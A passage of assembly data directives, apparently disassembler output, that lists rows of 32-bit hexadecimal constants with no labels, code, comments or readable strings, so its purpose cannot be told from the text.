		dd 43FDB31Eh, 58811518h, 0D84B48FFh, 4ABD19Fh, 0F1D164BEh
		dd 63DEC480h, 5CB648AAh, 18420840h, 0E054F556h,	0F73F6E88h
		dd 10578CF6h, 16289A2h,	6809CE29h, 75AA9369h, 7210EA10h
		dd 942C55C9h, 79820E21h, 4314A815h, 77F20140h, 57B12900h
		dd 3699BB8Dh, 86C70E71h, 0F474B78Ch, 0A000F48Bh, 0DA90DCFFh
		dd 8263AC00h, 2855B0B4h, 681400C4h, 1956C201h, 9CA438C6h
		dd 80A08248h, 4A14C98Eh, 0AF6E00F3h, 0B6252069h, 0FB01C8B3h
		dd 2F3C73F5h, 0F3C82260h, 7F871DF7h, 13E140D0h,	502A0DF9h
		dd 271DDD0Ch, 13FC187Ah, 0B19EA18h, 0A0004DFCh,	59BDA6A2h
		dd 6B681C09h, 0AC7C80B5h, 0F402D836h, 96CF0CE4h, 7EC2140Eh
		dd 0B16F2A00h, 2827801Dh, 5454F8E6h, 0B0D04Ah, 4DF94895h
		dd 5F82465h, 0F88D1625h, 694B29Ch, 7BD30A35h, 0BE0F4A95h
		dd 0E11744FCh, 696622F9h, 0E84E1072h, 8B240019h, 1E557F6Eh
		dd 4754300Ah, 3AC62769h, 0FF6AF500h, 67EAE9Fh, 3F8CB3B2h
		dd 0E00A209Dh, 0A680A491h, 69BEB2FDh, 0FFBE0EBh, 79ADB9BCh
		dd 94F1F6E0h, 2C0D6050h, 0B82E0DA0h, 91613AE1h,	0EADD1424h
		dd 4173268Fh, 442400D4h, 16C9F4D1h, 0A4A0B0Bh, 59D581DCh
		dd 0EC24F2FFh, 0C032F5F3h, 0A363AA00h, 9488BC75h, 2B73Ah
		dd 0C9360F2Fh, 1667B351h, 169F6CCh, 725752D4h, 0BD80604Eh
		dd 0FE5901FBh, 0B2218423h, 4554983Ah, 3BD319h, 0C1DA0820h
		dd 0E1090387h, 935C3004h, 48905EDFh, 0CA42F558h, 40B86831h
		dd 4CD336C1h, 0E644AE00h, 0F8E0479Bh, 85CC0A30h, 1118517Ah
		dd 43007D39h, 3176C98h,	3BF31D8Dh, 0BC00146Bh, 0B98FF4BAh
		dd 0CE3A19AEh, 68DD0CF0h, 7A3927h, 0D2B89C89h, 5DED0193h
		dd 0CAF5D900h, 535B90E2h, 0C6F002A2h, 0F25857F3h, 0AC46F892h
		dd 27BA2002h, 68A06BBEh, 5CDB092Ch, 0DC072198h,	0C32ACFD0h
		dd 317A4ACEh, 80808494h, 73F57C3h, 158C0052h, 0FB43AF23h
		dd 5E09E332h, 81B22F51h, 8F7B1F28h, 2B28E0E2h, 0D0295017h
		dd 8228B8FEh, 57C4208h,	0F0888214h, 0A250001Ah,	0F3E33B7Dh
		dd 0AB00A3D8h, 0C4B057F4h, 0E092DCC5h, 1DCA48Dh, 54F8BEAAh
		dd 9044F958h, 0D0806BE9h, 70EEA53Bh, 58C3FF02h,	50998257h
		dd 43543090h, 0A6223131h, 0CD0DB900h, 4776C83Bh, 0FB4638A0h
		dd 107983Dh, 30F51D84h,	7F51296Fh, 0FD96C203h, 0C0E94164h
		dd 9BEB54Fh, 12D42863h,	0E2199418h, 0D70AA501h,	2A89DC11h
		dd 0AE41F0h, 44F4AF9Bh,	0CC622358h, 4D205B03h, 3A69C4h
		dd 1C8281B9h, 9D6F30Dh,	8797C200h, 16390429h, 799300CAh
		dd 0F41965A3h, 90007581h, 5BFCAEDDh, 59A561h, 91E1B443h
		dd 1C3A8A0Ch, 76B95812h, 80682422h, 1805BFD0h, 0FC708102h
		dd 284512C7h, 0D9D00801h, 0F0581441h, 0B4219C23h, 0CDF6B101h
		dd 18314C7Bh, 2036B3D5h, 282DC013h, 4E40EE04h, 68C64872h
		dd 51A6DC86h, 0A30CC900h, 721C3C77h, 4B76044Dh,	0A075B65Fh
		dd 0BE884864h, 7B7E4024h, 2C285841h, 618BEF80h,	4603DFE1h
		dd 84AFC050h, 222BD88Dh, 0EE4570F1h, 0F23E0024h, 3B19A66Dh
		dd 180009DDh, 1110FC7h,	3A53B81Ch, 0EFBA34C5h, 0A9256918h
		dd 0FA008B51h, 8CA6F7B0h, 782A319Ah, 8A350BD8h,	0AC3043ECh
		dd 4CB964FCh, 9C68BC19h, 5C55CF70h, 0A0C050F9h,	207395FFh
		dd 9E0659E0h, 3497CEB3h, 0EDB40B39h, 0FB002C91h, 85B75E7Ch
		dd 47F708A0h, 5DC6E48h,	0DC400299h, 601F544Eh, 47989BCDh
		dd 0B44A007Ah, 0CBECE62Bh, 84E0328Ah, 91FD9C00h, 0F9B5229Ah
		dd 0AE1D18C3h, 93177071h, 0FDAFD900h, 4449255Fh, 0A82858C7h
		dd 108072C8h, 67929BACh, 2975E6h, 0ECC6BBF7h, 0B145669Ch
		dd 548B7500h, 50C3ACE8h, 90CC501Bh, 401789AAh, 82E25FAh
		dd 6EE05CF1h, 9ED60500h, 44FD6CE0h, 7C6900EEh, 4CD86DB7h
		dd 0F105D074h, 5D182FCAh, 19877F85h, 58B03F74h,	8808A256h
		dd 0BE091460h, 0C846CCh, 1FF55422h, 0BB43C4E4h,	82134091h
		dd 6ADFA8D0h, 9A6900F1h, 457BA0C7h, 8C9F621h, 864F0h, 0A7B5792Ch
		dd 66A2809Ah, 0C964BA00h, 4397672Ah, 0AA0B0483h, 0B4825411h
		dd 210B8F88h, 8248FE52h, 40CEBF76h, 316C48h, 0DAA664E0h
		dd 6A30AD1Dh, 6974781Ch, 0E52790C0h, 934C7Fh, 0BFDF1005h
		dd 0EB51C5EDh
		dd 0C9611500h, 6F13AB83h, 65B20E3Dh, 6CDB38Bh, 10B80910h
		dd 24B43740h, 0BD918800h, 0D1582263h, 18CA4F3h,	64CB82Ch
		dd 0C8201945h, 27132E4Dh, 98301511h, 202F129h, 0A4969AC3h
		dd 98CCD0F5h, 0A004624Eh, 80898CFCh, 1900E033h,	4F1AFA52h
		dd 6F00B6B7h, 48E09A47h, 0E82075E3h, 44F60112h,	6AF41F11h
		dd 52FAB7h, 308AFE02h, 0C12F2920h, 6C62FAF0h, 4EC0DBCFh
		dd 0CE4628C2h, 689031B0h, 0F144C49Ch, 24113400h, 0C0182F19h
		dd 95617783h, 8772F0h, 0B58F66DEh, 226DC51Fh, 8C015A12h
		dd 9B2E4C8h, 79E1B1F9h,	0DF54A468h, 477720h, 129DCE0Ah
		dd 576EF714h, 0FCA41A2Ch, 13FB2840h, 49CA5A72h,	0BC0FCCD4h
		dd 0C692BC20h, 9013E4Ch, 228F45AFh, 0AE06795h, 266933DDh
		dd 50C7B031h, 50BF6F31h, 46F88F04h, 0F680A49Ch,	5C1CCE0Dh
		dd 73C0F075h, 3264E6EAh, 0FB890B02h, 40AEF252h,	72DC8BCh
		dd 7EBC4C51h, 0AFCFD319h, 3BF8E2B3h, 3A00F278h,	0CD28260Ah
		dd 42C247h, 90107454h, 0F0ECD35Ah, 180AC82Eh, 0FC52CF00h
		dd 1F3C8D60h, 0A5428B1h, 42FC99CCh, 0E8A2E11Ch,	0C491B92Ah
		dd 9E1038F3h, 67181F40h, 3F6A24Bh, 0CA6ED310h, 52B8ACD5h
		dd 0A5000F6Ch, 960A7CEBh, 49315C59h, 2101E012h,	0FC81BC2Fh
		dd 0B638428Bh, 0B943CCB0h, 0B695E6Bh, 0D81684h,	0FF5E8818h
		dd 0FBFC6FF5h, 78823E12h, 47B10840h, 0F1C08B5Fh, 58C64DC0h
		dd 7214A0CFh, 0C98EE0CCh, 6C480A92h, 0B0424170h, 0FE5811A1h
		dd 57060022h, 617C2725h, 1800685Bh, 2BDDC9CAh, 0FD4086BAh
		dd 5D688014h, 0CB1B5C0Ch, 8071F850h, 9143FC8Bh,	3840EB20h
		dd 8BB700F0h, 4A62992Ch, 0A0E2D1DBh, 3354F1E1h,	73EB00E0h
		dd 28F68446h, 198E821h,	0D16563B7h, 60BFF9C9h, 95017828h
		dd 59CF5362h, 0A04841F0h, 6E6D8838h, 0D3EC2900h, 2FF12AB7h
		dd 1ACD13E6h, 787488F2h, 170518Ah, 3BF12365h, 51407052h
		dd 53C87CA1h, 0F1E8F0B4h, 541426E2h, 1310A210h,	70C2CE50h
		dd 441478B6h, 3901113Bh, 985D074Eh, 0B1FCA637h,	353C2D82h
		dd 0C4A0889Bh, 8A8A71Ch, 700ADFFh, 0FC096FF9h, 5E1B6Eh
		dd 0F6417D6h, 13E889A3h, 0B3C7DC04h, 0A8C01E67h, 9EC87209h
		dd 3C8C83D4h, 2398F22Ah, 0B902F145h, 0D13DD8DFh, 2C70E1A1h
		dd 52FE5510h, 7680D0B1h, 17A63A3Bh, 0AB810040h,	292E746Ah
		dd 7D0086D6h, 9BF461F0h, 2C324FF1h, 0C8903Eh, 0BDB7776Ah
		dd 1011C6Fh, 697514B5h,	5E100E82h, 22005040h, 0E6C03C6Fh
		dd 39B1D043h, 21CECC12h, 0CDA02C28h, 2AC87314h,	1C91CCB9h
		dd 0E9F9B880h, 0D1C5F0h, 52F72C73h, 257B2640h, 80982B4Ch
		dd 59EF1768h, 88D649FBh, 0FFBF5B02h, 8084257Ch,	44E265h
		dd 0F0224641h, 9E301E0h, 80241F6Bh, 0B3428C68h,	0C0A950B6h
		dd 4573B481h, 8CC070B7h, 3773BFh, 2F31AA76h, 0F77C1225h
		dd 0FCA5100Ch, 6808E4h,	0DD6CF006h, 0D8F58EEAh,	9D48B9E8h
		dd 0AF661864h, 45213A60h, 83F8280Fh, 89EB2F70h,	0AF601FFBh
		dd 6FD01D59h, 2D2546C5h, 72163101h, 682922C2h, 8FBFDCh
		dd 0CFC176C9h, 3DE810A0h, 0E22BA803h, 926DF646h, 0E4AC1514h
		dd 1D1C9600h, 8834CB72h, 0F853E054h, 0F3B167D8h, 0CCA7ED70h
		dd 31D90126h, 125CFF0h,	5BE8602Fh, 84F2D121h, 0C0B24CBBh
		dd 5854F7F4h, 494FF330h, 95ECB9EDh, 0BC91C18h, 1220E0B2h
		dd 0DC0948FEh, 0FF84E9C4h, 582F5180h, 600899F5h, 736CC962h
		dd 46F6FD03h, 0F0A40B86h, 5B24540Ch, 2C4C2C29h,	0D076B280h
		dd 0D042B8A0h, 0DB96EAC0h, 8C003FF1h, 4399C1FCh, 0C2B9A5A7h
		dd 8EFE5B50h, 284BAA10h, 4CB4B1F6h, 0C11628CAh,	1DD49069h
		dd 640E3F35h, 0E2AAB9ADh, 90712C3Ah, 8A32CFF0h,	5487D0D9h
		dd 62C4E303h, 33ECACC0h, 0AA3F3EC6h, 0CA57C593h, 13012274h
		dd 21A82768h, 62F0581Ch, 0B95C1F04h, 0E137548Bh, 0FB104660h
		dd 74005811h, 8F719849h, 722BA4CBh, 0A0253ABCh,	1AEC5080h
		dd 0E251D2A5h, 0B7B38h,	58D7C3B7h, 14B3F46h, 0E5784A73h
		dd 87272F6Fh, 5D832220h, 0F8BC4320h, 40814A54h,	65FBD170h
		dd 9D2F10FEh, 713410CDh, 0E6297D67h, 18F500DAh,	129203E4h
		dd 8900FFDCh, 6B3D15C4h, 2CF74442h, 1E44B21Fh, 0D00B169Eh
		dd 16B45E14h, 0EF9A721Eh, 5CFDCBC0h, 7CD00144h,	8DFC1C33h
		dd 56E380EEh, 29C0B8BFh, 0DD08C404h, 58A4B243h,	72F6120Fh
		dd 6984B057h, 2652122h,	59BA4CB5h, 0B8C43DFCh, 8288B878h
		dd 0C0C9DD77h, 0D9134A01h, 8D3FD75Eh, 0A9E0050h, 9EAC6CAh
		dd 3ECF00A4h, 64F1C31Dh, 3765D801h, 58C7F438h, 0D159C412h
		dd 0AE2C00B8h, 4C831E30h, 0CD78A500h, 3E1C0D4Ah, 0C3A70163h
		dd 6471F41Bh, 2F022F1h,	2C6C907Ch, 0A67041BCh, 48E4DF02h
		dd 2E461D00h, 0C5D5439Bh, 8BB80024h, 5679F7BDh,	6004C39Ah
		dd 0A82839CFh, 0EC6E9C82h, 0DF571130h, 858103A4h, 8BE7F9FBh
		dd 20D3D8F2h, 5D7C9052h, 652E58C4h, 84C39060h, 3A4224C6h
		dd 80567729h, 0FA678BE0h, 0DFB611C8h, 0FC3A015Bh, 0F812FD87h
		dd 1ED555DCh, 9ACF93h, 8E897E8Fh, 6C26FCCDh, 906470AEh
		dd 0BE09201Eh, 0BED2D54h, 0ABCC04A4h, 0CDBAB540h, 5613B214h
		dd 8DC374Bh, 0F78C00C4h, 59161AACh, 4905DFC9h, 0F411F1C7h
		dd 69B53882h, 90402CB0h, 96550ACCh, 0AFA054h, 0ADB24FE0h
		dd 93C5BAC0h, 5A99E702h, 7A5417FDh, 2D470068h, 9EE9F572h
		dd 430EC4AAh, 82DC9382h, 0D1615883h, 287C1688h,	10000E00h
		dd 0B4980BADh, 0A7E854h, 19651B96h, 0ED5CB6CEh,	0A8FFC1Ch
		dd 0B4247040h, 12F68985h, 0FA7C1F49h, 1408DD10h, 2E1467FCh
		dd 902D54C9h, 1114E6B0h, 886961h, 66A60F55h, 5EBC25EAh
		dd 349460F1h, 2E00F011h, 4AB0FD55h, 0EC5CDDD0h,	0E93C0063h
		dd 0B1B54852h, 0CC0B2862h, 18C97215h, 94F45900h, 504A5094h
		dd 0BA763D00h, 0C66B323Eh, 1410F902h, 242E1147h, 4247CC71h
		dd 8088D24Fh, 6968893Fh, 0B72B0070h, 49C51513h,	5634007Bh
		dd 0D2EF8F14h, 0F430D50Ch, 18C82817h, 93A0004Dh, 0D03D2A32h
		dd 672D6AF3h, 0E62B70D2h, 4223425h, 8040B889h, 54DA613h
		dd 8BE739FDh, 0E170A480h, 1C977698h, 18146707h,	8AD30350h
		dd 3CE9E8A6h, 0F26E0AAAh, 2C4E41Fh, 48D43538h, 127C10C1h
		dd 0E43C5C68h, 6C1E414Dh, 51EAB87Eh, 9168A400h,	0B32A00A0h
		dd 7C709427h, 74B14C42h, 0CE480A8Ch, 2A59F4A1h,	64601039h
		dd 1DC02E0h, 0D1CCBBBCh, 1CEB8C80h, 0C6784904h,	2930F100h
		dd 0DD121520h, 4B380196h, 8FB4FD57h, 5ADFFCE4h,	226871C0h
		dd 0CF040Eh, 0F71DEE74h, 4A1AA783h, 4FF13Fh, 0C042AB58h
		dd 0AD0642Ah, 50EE2C25h, 0DBB58044h, 0DC46E599h, 1CD9D120h
		dd 812A56B7h, 16242389h, 40246C50h, 0F150D008h,	20978214h
		dd 0BC7E02C8h, 9EA3023Dh, 99CCD329h, 34124444h,	0E0CDC4E4h
		dd 588F5C28h, 0A5E864C0h, 19039AA0h, 0F851DFFh,	0F1149AD4h
		dd 482FC078h, 0A11FD6FDh, 349954D7h, 30103321h,	3171EB5Dh
		dd 4AB1B3Ch, 3CF6BA1Ch,	581D5CE6h, 0F8F9225Ch, 3700452Fh
		dd 0A51FE13Eh, 130D019h, 71D2ED4Dh, 33F0C43Bh, 0D61C00F8h
		dd 0B673DBECh, 6D7E0033h, 0D4F33724h, 463E22D0h, 8EF88BADh
		dd 0F0D01383h, 71087B05h, 0B990FF1h, 419297CEh,	0F692141Ch
		dd 0C0AC3934h, 0F88EF962h, 79A563DFh, 0D4923433h, 8C8600FFh
		dd 17BBDCBh, 3FBE2A57h
		dd 40E56301h, 3CA8BE4h,	51DE0748h, 10080428h, 804B14ECh
		dd 2DA14684h, 0F1DD0904h, 64BC2125h, 0C190249Eh, 552BC872h
		dd 8F24F398h, 41D58080h, 651DFA5h, 3D21D827h, 36005CAFh
		dd 243A7CFFh, 0B823ED88h, 8F2091B0h, 0C0FC7982h, 87B0ACDBh
		dd 4E0049D1h, 0FEF741C8h, 1547395h, 58344B59h, 21C216F9h
		dd 80B06CB0h, 7B1A07A8h, 5B5F00A0h, 4F102C14h, 9C4B8302h
		dd 4AE2745Dh, 85744054h, 66F5CEC5h, 0FAEB2400h,	0B0B20B90h
		dd 0E7DB00A0h, 9C0FE441h, 8805CD72h, 0C3536287h, 55C9D8C0h
		dd 10DB008Fh, 9B327338h, 5D03EA37h, 13AE754Fh, 7CE9E051h
		dd 0B56C028Dh, 223064FEh, 46B4FCC0h, 6AA81900h,	0B7F9CFB9h
		dd 0F29409EBh, 0DC841CC4h, 455493Ch, 0F04C507Ch, 612DD28h
		dd 8A004D20h, 11FFF762h, 0FC280069h, 0A4A2EA8Ah, 0BA2F1FACh
		dd 0B25C18C3h, 9F4B8CFh, 1FCE16BEh, 9750000h, 0C90C7D1h
		dd 27DAAF00h, 6FFC6C4Ch, 0AB0100F0h, 0DBDB44Bh,	0A158303Ah
		dd 0F9C70B78h, 94D00051h, 17E429C6h, 2069DD14h,	1D155E3Ch
		dd 0CA001979h, 844C3121h, 5AB7F5h, 57798F82h, 67CBA81Ah
		dd 0D39087A0h, 6DBDA200h, 0E2582936h, 0F63BB8F4h, 0F5C800DBh
		dd 55A96F68h, 0C401C3F9h, 0E7B4F061h, 0BBC8438Ah, 5A64E0DCh
		dd 57442811h, 54B39904h, 1080E179h, 91F2675Dh, 69FC0068h
		dd 1D880CC9h, 28BA343Ch, 0BF260891h, 0B40850ABh, 4076445Ah
		dd 84026D12h, 11970352h, 0D672C329h, 0B14CC1FDh, 58184775h
		dd 591F9880h, 0E6CC3CFh, 93CA9654h, 0EC2E63C0h,	6A0791CDh
		dd 0FCB9E77Bh, 8410CEA7h, 611621Eh, 6DF5DC2h, 7344517Ch
		dd 78900A7h, 203E7565h,	45009F24h, 6DC97A14h, 0C21C095Ch
		dd 2F012228h, 86F624E0h, 2B70809Dh, 0E1CF0A2Ch,	8E40022Bh
		dd 347E226Ch, 1375213Fh, 13A4B3D0h, 0DC2398CDh,	4C268030h
		dd 6DAA003Ah, 78745225h, 510C3642h, 293D69C5h, 0A74B001Ah
		dd 86E0E5BCh, 894B743h,	3392CB41h, 0C281807Ch, 950B9E1h
		dd 0F0C30800h, 0B0B1DCh, 305249FBh, 421D31C4h, 44679482h
		dd 986F00A8h, 0BAA6D91h, 840001DBh, 5288F57Ch, 4906312h
		dd 2C2992C2h, 61C0CCCDh, 0B4000374h, 0C48B86C6h, 57E98DDh
		dd 0B532E7E2h, 83AC85BEh, 0BCC978E0h, 14DE0062h, 481FE2DFh
		dd 84184B4h, 0C14B8A0h,	0AD5D0164h, 140412B9h, 0F4586F86h
		dd 60685CA4h, 25DFB93Eh, 0D300F574h, 0DECAB972h, 307B2C38h
		dd 5408EC07h, 0B8046F2Ah, 0F025F3F7h, 0C0B46885h, 0FA5880FEh
		dd 0F3593860h, 2D2AF452h, 0C0A0DFB6h, 1DAD6264h, 84DEA901h
		dd 0D25B01F8h, 83EDAEDh, 0AA84AF4Ch, 28C5C74Bh,	5507ECB3h
		dd 40934923h, 540B4F9Ch, 2BA61C27h, 94580074h, 0C6E80F4h
		dd 23C57214h, 9C91DC39h, 21E6D500h, 0F2DC05Bh, 1368907Ch
		dd 9C15DC40h, 0ED25A9D1h, 0F2202054h, 7D79C448h, 97221F4Dh
		dd 59364019h, 95FB1B99h, 0BEED4B01h, 0AFD4C9CDh, 10278829h
		dd 80CA78A5h, 38C9C1D0h, 81002CE9h, 5FEBFB2h, 12AAD4C0h
		dd 90253DBh, 2C604C8Ch,	84A4DC4Eh, 9268000h, 8E21877Ah
		dd 732D2625h, 0BA6894BCh, 4DF9590Bh, 85730A0h, 0CF7272EBh
		dd 1B80DC94h, 9CAC7DBh,	2657FAF7h, 80CB775h, 70917C7Fh
		dd 78E34001h, 0D4FEB787h, 8601AA18h, 0EADED047h, 42E4A80Bh
		dd 390362B1h, 34F1F858h, 13765207h, 0FD2E2531h,	0CC72A185h
		dd 5EC0222Fh, 92831420h, 474008Dh, 0FF46ED9Ch, 0A1058BACh
		dd 0E2B8BB0Ah, 0DB50D382h, 4D2803D4h, 117F4EA6h, 7E24C613h
		dd 79221404h, 0C0C7DD47h, 0B29ACF0Bh, 4F00EA7Bh, 8AFD98CBh
		dd 0FCD0F2Fh, 5B7AF89Ch, 6B296CC0h, 0B00BB51Dh,	0C5331Ch
		dd 68889318h, 554C3E3Ch, 57F2CD81h, 42B3210Ah, 0E45C2ABCh
		dd 146FF0E0h, 989100BDh, 0F7C229D1h, 4D163B0Bh,	6C95C673h
		dd 1FC06060h, 441900A0h, 0C3D008DEh, 5BF42E2Dh,	0F5552200h
		dd 1C7E82F7h, 0E9410462h, 0B42D3A43h, 69266108h, 0C9845CC1h
		dd 8B4550Ah, 1F6DEA2Fh,	254BA09h, 0E207F1C3h, 103E80C1h
		dd 4C80E912h, 370443B2h, 80E85899h, 0C80BFE0Ch,	19519500h
		dd 9FC2184Bh, 85D50FCh,	0C082041Ch, 0B42625F0h,	8978AB10h
		dd 0F11262F4h, 0BCD180DFh, 5B1051F4h, 939E854h,	6868B1E3h
		dd 34600BCCh, 224600CDh, 0D8B1B7F2h, 0FCE24903h, 4FF16B03h
		dd 0A8654576h, 0DDD1Bh,	1178701Ch, 9C2C7FF9h, 804AA73Eh
		dd 91163610h, 7F4DB00Ch, 46C80025h, 0C5E03776h,	7C05E5D1h
		dd 2A27EDC9h, 8FE38880h, 0CFC8122Eh, 6AA0C809h,	1D20393Eh
		dd 0C131DC1Dh, 5DC0CAB5h, 0EED2F821h, 70BC1712h, 0CE610033h
		dd 1DCF903Ah, 685DF200h, 0C5E1BF60h, 0B0A2E491h, 0ED520194h
		dd 0B3BC5330h, 80006CC2h, 71FB4670h, 94320585h,	2118DFBFh
		dd 1045F898h, 0EA52F5F3h, 5C2E7CB4h, 0C3C0ACFCh, 310BA310h
		dd 907EEC0Ch, 0FC6270D2h, 0FEF004h, 6D5B2A7Ah, 0D0108E17h
		dd 18C1C224h, 6C221503h, 0A4B884C7h, 0BF800C88h, 0E8DDA6A7h
		dd 0EB8501B0h, 9BBB97FCh, 81A5ECB3h, 905F5D09h,	2B0C9083h
		dd 0B99900CCh, 1E260866h, 50E4DC29h, 0BBC6310Fh, 38C1760Fh
		dd 421244F1h, 123E4471h, 90DC50FEh, 7AEC02A5h, 0F8823D41h
		dd 282E2841h, 803F8880h, 2F8409DDh, 0D303E6DBh,	0D7988A32h
		dd 9A74A8CFh, 6B104A7h,	0E89DF44Fh, 71258000h, 0F222662Fh
		dd 22F15BD1h, 5604BEFCh, 10652349h, 0F1BD5200h,	0ECC17C40h
		dd 0F6721F3Bh, 0D88987A6h, 0B2820F3h, 0FF79CBBEh, 220120B9h
		dd 0BABFF743h, 5C611071h, 4E47944Ch, 2664D0DDh,	677EEF6Eh
		dd 80CFD238h, 0FE4E1D15h, 9B483A3h, 43DC46B8h, 1478D4C4h
		dd 6BCF8F25h, 96B82F9Ch, 649ED42Eh, 33113ACh, 81B7EA5Ch
		dd 9658A04h, 0F4C2F8DCh, 229604BEh, 4850210Fh, 42A8DC3Fh
		dd 933ACD38h, 7C007818h, 6C85A4F3h, 585409A0h, 0E0F94AF6h
		dd 0C4944C20h, 0DC086707h, 42CD14Bh, 1287F59Bh,	27F9030h
		dd 0CECD3DB2h, 6E9E403h, 56A0F477h, 0A0F8B7FAh,	62AE9D00h
		dd 94AD7C2Ch, 496C271Ch, 7CFAB069h, 0A898C01Ch,	0BD295760h
		dd 4F1F3422h, 288CEA20h, 0BA421272h, 0B789CA7h,	0AC8B0E00h
		dd 85DD22BDh, 61AEA2DCh, 840C029Ch, 0CC117381h,	0BFC9010Ah
		dd 22F73090h, 0B842141Ah, 7122345Bh, 59629207h,	6C502DBAh
		dd 0CB9B2A6h, 8621BD16h, 50400AB0h, 4FC75F72h, 0F2F63A60h
		dd 34C511B4h, 6276167Dh, 66000C2Dh, 4309DD39h, 0C0DC9882h
		dd 5475F8Ch, 8DFD1A0Ah,	14FC06F9h, 6E44A8FFh, 8C08315Bh
		dd 5ADB8D8h, 42C60C8h, 0FA119656h, 2654E2EAh, 0B900EAE3h
		dd 5C1965F5h, 1FA30068h, 0DB59AE0Ah, 0A8581B15h, 638A7CECh
		dd 0DDD1E094h, 0F03F0678h, 0D17F0167h, 1451C439h, 0E87C24h
		dd 0F43CE9E8h, 0E4F16132h, 34AB2C1Bh, 9B13C0h, 5BF5695Ch
		dd 0BA06296Eh, 0C6B114E7h, 0C1B609E9h, 6090810Ch, 0FB121F82h
		dd 74006EDEh, 0BF1866A8h, 0DFD3006Fh, 0D1C29DF0h, 0F0AA6C1h
		dd 8C171B9Ah, 0FA219510h, 0E4695C02h, 80EC5C50h, 4028A18Ah
		dd 5A73EA4Dh, 1E207258h, 7F849471h, 7C85CCC8h, 7E894C8h
		dd 21C5A0B4h, 0F981C0A1h, 6E0BFDB1h, 7A5415FAh,	0B8AF0054h
		dd 9B3BA0FEh, 0AEA1C6AEh, 0C0306932h, 7694E708h, 1BA700AEh
		dd 632D7F15h, 3F09AC80h, 0E4A82279h, 0B2384448h, 7F80891Dh
		dd 0FC3E900h, 764A3233h, 277C90h, 7A84FC18h, 0DD9D355Ch
		dd 380010B5h, 8AF00A6h
		dd 6096F295h, 0A7002556h, 0DC116EFEh, 48E48AFAh, 0B00F4C15h
		dd 0B126CB43h, 2B01084Ch, 0C56355Bh, 593002C9h,	933797Ah
		dd 6A60F4ADh, 7F1848C4h, 0D19AB6DBh, 2EFE8C4h, 68EC70D2h
		dd 452BA43h, 0C872093Fh, 7ADC8978h, 46EC1360h, 57C8B46Fh
		dd 0FEC00116h, 0B50690F2h, 3922CA72h, 0D233A1Dh, 28CC25h
		dd 0AA3CE648h, 8FADAF72h, 3D4F3772h, 10097453h,	0AA08698Ch
		dd 48379460h, 0BE2CB012h, 20F3645Ch, 7AC6D0h, 0A789ECCh
		dd 43CBCDF4h, 550738B0h, 0B7CEA30Fh, 0DC8DFB75h, 61301E6Eh
		dd 0A8002111h, 0C02928D6h, 8400CE2Ch, 78B37E8h,	1FFE278h
		dd 53661A73h, 4056F5FBh, 8C76350h, 58E28496h, 388852F0h
		dd 0A305D5C6h, 0B80A7087h, 6117E080h, 0D51B0067h, 0E3422A98h
		dd 0B000C22Ch, 9F5E814Eh, 26E32BFh, 3848F7BBh, 8CC6A1D1h
		dd 46006978h, 6F396B33h, 99FD85h, 0A1C0A5C9h, 570EC63Dh
		dd 10065E6h, 0EDC3348Ch, 1B5425Ch, 196D31F9h, 8A33302Fh
		dd 0D8098219h, 55139B80h, 1C0A8B87h, 0D70B88h, 0E2385F98h
		dd 15050670h, 966D915Dh, 102AAC82h, 0B47287ADh,	0B0F1A831h
		dd 72003C74h, 90B739CDh, 2D60F690h, 18902925h, 242754A5h
		dd 0EA0C9044h, 7A3F0B58h, 1780DE51h, 41A5F762h,	0BC1C7600h
		dd 53EA366Ah, 80B4024Eh, 7F9716B3h, 84A6C0E0h, 1F65B100h
		dd 714FC3B9h, 4C19314Dh, 802E280Ch, 548EFC80h, 0E697DBA7h
		dd 0FDDC0F79h, 8D848FBFh, 87B64730h, 7018CAD2h,	0DDD0F914h
		dd 0FFE6029Fh, 8399F19Bh, 0AB80B85Eh, 610DC4BEh, 7B330092h
		dd 17AA77Fh, 0A300E025h, 245E316Ch, 40EDA026h, 0BF2C4212h
		dd 0CFC1DCAFh, 543C900Bh, 0DEC8B380h, 0F8B989BEh, 0A66F8D81h
		dd 3230EA75h, 0F2860492h, 809B607Dh, 40CAFE4Ch,	65AA370Ah
		dd 2B86F0F3h, 7519FD18h, 9FB49458h, 6817CCF3h, 0FC000AC8h
		dd 0C869367Fh, 7CF03A13h, 94B948B7h, 21808C40h,	66A58AFCh
		dd 0B24314A8h, 5524644Ah, 8AA8404Ch, 0F004C42h,	18924A56h
		dd 8CDDFBh, 8E9747DFh, 7213FFB1h, 70C8D14Bh, 58A4B2ECh
		dd 0E9095CBAh, 6853BE58h, 80111C89h, 59D59A50h,	44B9F2h
		dd 0DCEA8A42h, 1509ABC5h, 983D66B5h, 0F9F4E4h, 9914E901h
		dd 0AA75097Fh, 0D2418E01h, 4EA84B7Ah, 0E003C23h, 35195D70h
		dd 80F8916Eh, 1262B63Eh, 0A22325h, 1E8BCF03h, 384C6765h
		dd 412D30E4h, 26F827C9h, 12F4F905h, 0D338D068h,	0B200BDDCh
		dd 0B932F083h, 24619A35h, 0A78434E8h, 18008464h, 0F3950381h
		dd 19E2CECh, 0DBC9EB46h, 7150D766h, 48298090h, 74C1C2DDh
		dd 0AD2B0090h, 0E4CBCF36h, 6312C9BDh, 2CF5FF35h, 5E54373Bh
		dd 2A1D8882h, 0E42624F4h, 5145601h, 0A858F458h,	50DC52B3h
		dd 10005A22h, 0C6233C39h, 0B436F6h, 2BB75008h, 7B7A624Fh
		dd 7300348h, 0EA4AE825h, 0E544B9D1h, 0F5C40871h, 22809229h
		dd 582554BCh, 68D849FCh, 38C403Bh, 0E9C973D0h, 846E6200h
		dd 555EBBC8h, 9099063h,	27FA353h, 51FD7060h, 0A4C75C89h
		dd 160974F0h, 0A2FCC7DBh, 0F90E77E4h, 8AE5685Ah, 0CC810CC8h
		dd 0EB74E6E7h, 1413D2E0h, 0EC5EF1C2h, 58D8C426h, 6F9034B4h
		dd 170B2B00h, 19FE799Ch, 0D9D81324h, 16CA0181h,	0E9FFCA09h
		dd 0C9C05145h, 253A112Eh, 58F6A4FFh, 0CB8FE300h, 0E217246Ah
		dd 17C3400h, 0AC18BD55h, 2C62755Fh, 0A96C4803h,	9B6F806Ch
		dd 0AC88646Ah, 1ECA3Dh,	0F8F2EF51h, 0B1824A95h,	27B900C0h
		dd 91ADDBCBh, 106B0805h, 9E02A884h, 406D9518h, 48DD8B9Ch
		dd 580C6894h, 0F39949FAh, 0B3768900h, 0B2246E2Fh, 0F75400F1h
		dd 3719193h, 0BCC672h, 4890BE8Ch, 924020BBh, 81748233h
		dd 5DBAF09Fh, 9707007Eh, 239B09B2h, 5C4E342Bh, 656B1480h
		dd 90E8EBh, 0D9311103h,	20A51957h, 0E3036EFEh, 0C3A2064Dh
